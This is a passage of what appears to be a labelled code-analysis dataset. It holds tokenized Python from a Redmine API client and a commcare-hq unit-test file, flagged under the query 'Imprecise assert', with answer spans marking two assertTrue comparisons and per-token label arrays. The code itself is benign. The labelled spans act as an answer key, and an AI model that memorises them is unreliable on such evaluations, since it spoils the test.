"\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "issue", "\\u", "id_", "in_", "[_", "issue_", "._", "id_", "for_", "issue_", "in_", "issues_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return", "\\u", "data_", "._", "append_", "(_", "self_", "._", "get", "\\u", "issue", "\\u", "details_", "(_", "issue", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "return", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "user_", "(_", "self_", ",_", "user", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "User_", "._", "find_", "(_", "user", "\\u", "id_", ",_", "None_", ",_", "include_", "=_", "'", "group", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "users_", "(_", "self_", ",_", "user", "\\u", "ids_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "user", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "self_", "._", "get", "\\u", "user_", "(_", "uid_", ")_", "for_", "uid_", "in_", "user", "\\u", "ids_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "User_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "include_", "=_", "'", "group", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Group_", "._", "find_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "project", "\\u", "members_", "(_", "self_", ",_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Membership", "_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "project", "\\u", "id_", "=_", "id\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "roles_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "roles_", "=_", "Role_", "._", "find_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "role_", "in_", "roles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "role_", "._", "attributes_", "[_", "'", "permissi", "ons", "'_", "]_", "=_", "Role_", "(_", ")_", "._", "find_", "(_", "role_", "._", "id_", ")_", "._", "permissions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Reso", "urc", "e", "Not", "Found_", ",_", "Meth", "od", "Not", "Allowed_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "WARN", ":", " ", "Can", "'", "t", " ", "get", " ", "permissi", "ons", " ", "for", " ", "role", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "WARN", ":", " ", "Thi", "s", " ", "Red", "mine", " ", "version", " ", "doe", "sn", "'", "t", " ", "support", " ", "this", " ", "feature", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "roles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "category_", "(_", "self_", ",_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Issue", "Category_", "._", "find_", "(_", "id\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "version_", "(_", "self_", ",_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Version_", "._", "find_", "(_", "id\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Red", "mine", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "time", "\\u", "entries_", "(_", "self_", ",_", "issue", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Time", "Entry_", "._", "find_", "(_", "None_", ",_", "None_", ",_", "issue", "\\u", "id_", "=_", "issue", "\\u", "id_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
dimagi/commcare-hq/corehq/apps/users/tests/fixture_status.py
[ { "content": " def test_update_status_unset_location(self):\n fake_location = MagicMock()\n fake_location.location_id = \"the_mines_of_moria\"\n fake_location.group_id = \"the_mines_of_moria\"\n self.couch_user.set_location(fake_location)\n previously_updated_time = UserFixtureStatus.objects.get(user_id=self.couch_user._id).last_modified\n\n self.couch_user.unset_location()\n\n new_updated_time = UserFixtureStatus.objects.get(user_id=self.couch_user._id).last_modified\n self.assertTrue(new_updated_time > previously_updated_time)", "metadata": "root.TestFixtureStatus.test_update_status_unset_location", "header": "['class', 'TestFixtureStatus', '(', 'TestCase', ')', ':', '___EOS___']", "index": 67 }, { "content": " def test_update_status_reset_location(self):\n fake_location = MagicMock()\n fake_location.location_id = \"misty_mountains\"\n fake_location.group_id = \"misty_mountains\"\n self.couch_user.set_location(fake_location)\n previously_updated_time = UserFixtureStatus.objects.get(user_id=self.couch_user._id).last_modified\n\n fake_location.location_id = \"lonely_mountain\"\n fake_location.group_id = \"lonely_mountain\"\n self.couch_user.set_location(fake_location)\n\n new_updated_time = UserFixtureStatus.objects.get(user_id=self.couch_user._id).last_modified\n self.assertTrue(new_updated_time > previously_updated_time)", "metadata": "root.TestFixtureStatus.test_update_status_reset_location", "header": "['class', 'TestFixtureStatus', '(', 'TestCase', ')', ':', '___EOS___']", "index": 79 } ]
[ { "span": "self.assertTrue(new_updated_time > previously_updated_time)", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 67 }, { "span": "self.assertTrue(new_updated_time > previously_updated_time)", "start_line": 91, "start_column": 8, "end_line": 91, "end_column": 67 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Fix", "ture", "Status_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "status", "\\u", "unse", "t", "\\u", "location_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake", "\\u", "location_", "=_", "Mag", "ic", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "location_", "._", "location", "\\u", "id_", "=_", "\"", "the", "\\u", "mine", "s", "\\u", "of", "\\u", "mor", "ia", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "location_", "._", "group", "\\u", "id_", "=_", "\"", "the", "\\u", "mine", "s", "\\u", "of", "\\u", "mor", "ia", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "couch", "\\u", "user_", "._", "set\\u", "location_", "(_", "fake", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "previ", "ously", "\\u", "update", "d\\u", "time_", "=_", "User", "Fix", "ture", "Status_", "._", "objects_", "._", "get_", "(_", "user", "\\u", "id_", "=_", "self_", "._", "couch", "\\u", "user_", "._", "\\u", "id_", ")_", "._", "last", "\\u", "modified_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "couch", "\\u", "user_", "._", "unse", "t", "\\u", "location_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "update", "d\\u", "time_", "=_", "User", "Fix", "ture", "Status_", "._", "objects_", "._", "get_", "(_", "user", "\\u", "id_", "=_", "self_", "._", "couch", "\\u", "user_", "._", "\\u", "id_", ")_", "._", "last", "\\u", "modified_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "new", "\\u", "update", "d\\u", "time_", ">_", "previ", "ously", "\\u", "update", "d\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Fix", "ture", "Status_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "status", "\\u", "reset", "\\u", "location_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fake", "\\u", "location_", "=_", "Mag", "ic", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "location_", "._", "location", "\\u", "id_", "=_", "\"", "mist", "y", "\\u", "mount", "ain", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "location_", "._", "group", "\\u", "id_", "=_", "\"", "mist", "y", "\\u", "mount", "ain", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "couch", "\\u", "user_", "._", "set\\u", "location_", "(_", "fake", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "previ", "ously", "\\u", "update", "d\\u", "time_", "=_", "User", "Fix", "ture", "Status_", "._", "objects_", "._", "get_", "(_", "user", "\\u", "id_", "=_", "self_", "._", "couch", "\\u", "user_", "._", "\\u", "id_", ")_", "._", "last", "\\u", "modified_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fake", "\\u", "location_", "._", "location", "\\u", "id_", "=_", "\"", "lone", "ly", "\\u", "mount", "ain", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "location_", "._", "group", "\\u", "id_", "=_", "\"", "lone", "ly", "\\u", "mount", "ain", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "couch", "\\u", "user_", "._", "set\\u", "location_", "(_", "fake", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "update", "d\\u", "time_", "=_", "User", "Fix", "ture", "Status_", "._", "objects_", "._", "get_", "(_", "user", "\\u", "id_", "=_", "self_", "._", "couch", "\\u", "user_", "._", "\\u", "id_", ")_", "._", "last", "\\u", "modified_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "new", "\\u", "update", "d\\u", "time_", ">_", "previ", "ously", "\\u", "update", "d\\u", "time_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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